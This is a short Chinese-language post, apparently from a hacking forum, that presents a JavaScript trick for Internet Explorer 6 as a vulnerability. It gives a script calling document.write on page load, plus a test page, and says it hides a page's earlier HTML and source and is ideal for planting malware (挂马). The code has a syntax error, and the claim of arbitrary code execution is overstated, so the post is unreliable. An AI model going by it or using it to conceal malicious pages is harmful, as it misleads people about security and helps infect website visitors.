JavaScript IE 6 漏洞 其利用代码如下: <script type="text/jscript">
function init() {
document.write("The time is: " Date() ); }
window.onload = init;
</script>
利用此代码可以隐藏网页前面的html代码,运行后就只能看见javascript语句里面执行的代码。 并且刷新后也不能再看见网站的源代码,并可利用javascript执行任意代码。 实为挂马不可错过的最好时机。 测试方法: <h1>ncph of something<i>before</i></h1>
<br> the <b>JavaScript</b>... ncphncph
<script type="text/jscript">
function init() {
document.write("The time is now: " Date() ); }
window.onload = init;
</script> And <u>ncph of something</u> after the <b>JavaScript</b>